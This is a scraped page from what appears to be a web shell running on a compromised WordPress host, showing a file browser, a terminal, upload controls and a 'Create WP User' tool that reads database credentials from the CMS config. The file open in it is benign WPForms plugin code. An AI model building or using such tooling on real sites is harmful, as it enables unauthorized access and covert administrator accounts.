Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
Divi
/
Traits
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
FormsResolverTrait.php
1.20 KB
-rw-r--r--
2026-02-24 15:21
LocalizedDataTrait.php
771.00 B
-rw-r--r--
2026-02-24 15:21
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
FormsResolverTrait.php
<?php namespace WPForms\Integrations\Divi\Traits; /** * Trait FormsResolverTrait. * * Provides implementation for resolving WPForms forms in Divi integration. * * @since 1.9.9 */ trait FormsResolverTrait { /** * Get all available forms. * * Retrieves all forms from the database ordered by descending ID. * * @since 1.9.9 * * @return array Array of WP_Post objects representing forms, or empty array if a form object is unavailable. */ public function get_forms(): array { // Get all forms for the editor. $forms = wpforms()->obj( 'form' ) ? wpforms()->obj( 'form' )->get( '', [ 'order' => 'DESC' ] ) : []; // If $forms is false, return an empty array. return $forms ? (array) $forms : []; } /** * Get form options for all available forms. * * Retrieves all forms and formats them as an option array by iterating * through each form and adding it to the options using add_form_in_options(). * * @since 1.9.9 * * @return array Array of form options. */ public function get_form_options(): array { $forms = $this->get_forms(); $options = []; foreach ( $forms as $form ) { $options = $this->add_form_in_options( $options, $form ); } return $options; } }
关闭
保存